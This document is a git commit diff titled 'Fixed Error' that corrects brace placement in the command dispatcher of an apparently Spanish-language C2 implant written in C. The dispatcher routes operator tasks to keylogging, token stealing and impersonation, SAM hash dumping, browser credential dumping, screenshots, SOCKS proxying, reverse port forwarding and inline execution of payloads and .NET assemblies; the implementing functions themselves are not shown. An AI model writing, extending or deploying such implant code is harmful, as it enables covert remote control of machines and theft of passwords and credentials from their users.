Fixed Error

This commit is contained in:
Marmeus
2026-01-21 10:03:25 +00:00
parent 380a498980
commit bda69f74f9
@@ -115,63 +115,64 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
cerrarCallback(analizadorTarea); cerrarCallback(analizadorTarea);
} else if (tarea == SLEEP_CMD){ } else if (tarea == SLEEP_CMD){
sleep(analizadorTarea); sleep(analizadorTarea);
}
#ifdef ENABLE_PS_CMD #ifdef ENABLE_PS_CMD
} else if (tarea == PROCESS_CMD){ else if (tarea == PROCESS_CMD){
listarProcesos(analizadorTarea); listarProcesos(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_CD_CMD #ifdef ENABLE_CD_CMD
} else if (tarea == CD_CMD) { else if (tarea == CD_CMD) {
CambiarDirectorio(analizadorTarea); CambiarDirectorio(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_LS_CMD #ifdef ENABLE_LS_CMD
} else if (tarea == LS_CMD) { else if (tarea == LS_CMD) {
ListarDirectorio(analizadorTarea); ListarDirectorio(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_PWD_CMD #ifdef ENABLE_PWD_CMD
} else if (tarea == PWD_CMD) { else if (tarea == PWD_CMD) {
ObtenerPath(analizadorTarea); ObtenerPath(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_CP_CMD #ifdef ENABLE_CP_CMD
} else if (tarea == CP_CMD) { else if (tarea == CP_CMD) {
CopiarFichero(analizadorTarea); CopiarFichero(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_MKDIR_CMD #ifdef ENABLE_MKDIR_CMD
} else if (tarea == MKDIR_CMD) { else if (tarea == MKDIR_CMD) {
CrearRuta(analizadorTarea); CrearRuta(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_RM_CMD #ifdef ENABLE_RM_CMD
} else if (tarea == RM_CMD) { else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea); EliminarRuta(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_CAT_CMD #ifdef ENABLE_CAT_CMD
} else if (tarea == CAT_CMD) { else if (tarea == CAT_CMD) {
LeerFichero(analizadorTarea); LeerFichero(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_DOWNLOAD_CMD #ifdef ENABLE_DOWNLOAD_CMD
} else if (tarea == DOWNLOAD_CMD) { else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea); DescargarFichero(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_UPLOAD_CMD #ifdef ENABLE_UPLOAD_CMD
} else if (tarea == UPLOAD_CMD) { else if (tarea == UPLOAD_CMD) {
SubirFichero(analizadorTarea); SubirFichero(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_SCREENSHOT_CMD #ifdef ENABLE_SCREENSHOT_CMD
} else if (tarea == SCREENSHOT_CMD) { else if (tarea == SCREENSHOT_CMD) {
CapturarPantalla(analizadorTarea); CapturarPantalla(analizadorTarea);
} }
#endif #endif
#ifdef ENABLE_SOCKS_CMD #ifdef ENABLE_SOCKS_CMD
} else if (tarea == START_SOCKS_CMD) { else if (tarea == START_SOCKS_CMD) {
_dbg("Received START_SOCKS_CMD"); _dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea); startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) { } else if (tarea == STOP_SOCKS_CMD) {
@@ -180,7 +181,7 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} }
#endif #endif
#ifdef ENABLE_RPFWD_CMD #ifdef ENABLE_RPFWD_CMD
} else if (tarea == START_RPFWD_CMD) { else if (tarea == START_RPFWD_CMD) {
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea); _inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1); _inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
startRpfwdHandler(analizadorTarea); startRpfwdHandler(analizadorTarea);
@@ -191,91 +192,91 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
} }
#endif #endif
#ifdef ENABLE_KEYLOG_START_CMD #ifdef ENABLE_KEYLOG_START_CMD
} else if (tarea == KEYLOG_START_CMD) { else if (tarea == KEYLOG_START_CMD) {
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
StartKeylogger(analizadorTarea); StartKeylogger(analizadorTarea);
_inf("===== KEYLOG_START_CMD COMPLETED ====="); _inf("===== KEYLOG_START_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_KEYLOG_STOP_CMD #ifdef ENABLE_KEYLOG_STOP_CMD
} else if (tarea == KEYLOG_STOP_CMD) { else if (tarea == KEYLOG_STOP_CMD) {
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
StopKeylogger(analizadorTarea); StopKeylogger(analizadorTarea);
_inf("===== KEYLOG_STOP_CMD COMPLETED ====="); _inf("===== KEYLOG_STOP_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_LIST_TOKENS_CMD #ifdef ENABLE_LIST_TOKENS_CMD
} else if (tarea == LIST_TOKENS_CMD) { else if (tarea == LIST_TOKENS_CMD) {
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
ListarTokens(analizadorTarea); ListarTokens(analizadorTarea);
_inf("===== LIST_TOKENS_CMD COMPLETED ====="); _inf("===== LIST_TOKENS_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_STEAL_TOKEN_CMD #ifdef ENABLE_STEAL_TOKEN_CMD
} else if (tarea == STEAL_TOKEN_CMD) { else if (tarea == STEAL_TOKEN_CMD) {
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
RobarToken(analizadorTarea); RobarToken(analizadorTarea);
_inf("===== STEAL_TOKEN_CMD COMPLETED ====="); _inf("===== STEAL_TOKEN_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_MAKE_TOKEN_CMD #ifdef ENABLE_MAKE_TOKEN_CMD
} else if (tarea == MAKE_TOKEN_CMD) { else if (tarea == MAKE_TOKEN_CMD) {
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
CrearToken(analizadorTarea); CrearToken(analizadorTarea);
_inf("===== MAKE_TOKEN_CMD COMPLETED ====="); _inf("===== MAKE_TOKEN_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_REV2SELF_CMD #ifdef ENABLE_REV2SELF_CMD
} else if (tarea == REV2SELF_CMD) { else if (tarea == REV2SELF_CMD) {
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
RevertirToken(analizadorTarea); RevertirToken(analizadorTarea);
_inf("===== REV2SELF_CMD COMPLETED ====="); _inf("===== REV2SELF_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_WHOAMI_CMD #ifdef ENABLE_WHOAMI_CMD
} else if (tarea == WHOAMI_CMD) { else if (tarea == WHOAMI_CMD) {
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
ObtenerUsuarioActual(analizadorTarea); ObtenerUsuarioActual(analizadorTarea);
_inf("===== WHOAMI_CMD COMPLETED ====="); _inf("===== WHOAMI_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_KILL_CMD #ifdef ENABLE_KILL_CMD
} else if (tarea == KILL_CMD) { else if (tarea == KILL_CMD) {
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
MatarProceso(analizadorTarea); MatarProceso(analizadorTarea);
_inf("===== KILL_CMD COMPLETED ====="); _inf("===== KILL_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_BROWSER_INFO_CMD #ifdef ENABLE_BROWSER_INFO_CMD
} else if (tarea == BROWSER_INFO_CMD) { else if (tarea == BROWSER_INFO_CMD) {
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
IdentificarNavegadores(analizadorTarea); IdentificarNavegadores(analizadorTarea);
_inf("===== BROWSER_INFO_CMD COMPLETED ====="); _inf("===== BROWSER_INFO_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_BROWSER_DUMP_CMD #ifdef ENABLE_BROWSER_DUMP_CMD
} else if (tarea == BROWSER_DUMP_CMD) { else if (tarea == BROWSER_DUMP_CMD) {
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
DumparNavegador(analizadorTarea); DumparNavegador(analizadorTarea);
_inf("===== BROWSER_DUMP_CMD COMPLETED ====="); _inf("===== BROWSER_DUMP_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_SAMDUMP_CMD #ifdef ENABLE_SAMDUMP_CMD
} else if (tarea == SAMDUMP_CMD) { else if (tarea == SAMDUMP_CMD) {
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
SamDumpHandler(analizadorTarea); SamDumpHandler(analizadorTarea);
_inf("===== SAMDUMP_CMD COMPLETED ====="); _inf("===== SAMDUMP_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_INLINE_EXECUTE_CMD #ifdef ENABLE_INLINE_EXECUTE_CMD
} else if (tarea == INLINE_EXECUTE_CMD) { else if (tarea == INLINE_EXECUTE_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
InlineExecuteHandler(analizadorTarea); InlineExecuteHandler(analizadorTarea);
_inf("===== INLINE_EXECUTE_CMD COMPLETED ====="); _inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
} }
#endif #endif
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD #ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python // This command is typically handled via subtasks in Python
// But if called directly, we'll handle it here // But if called directly, we'll handle it here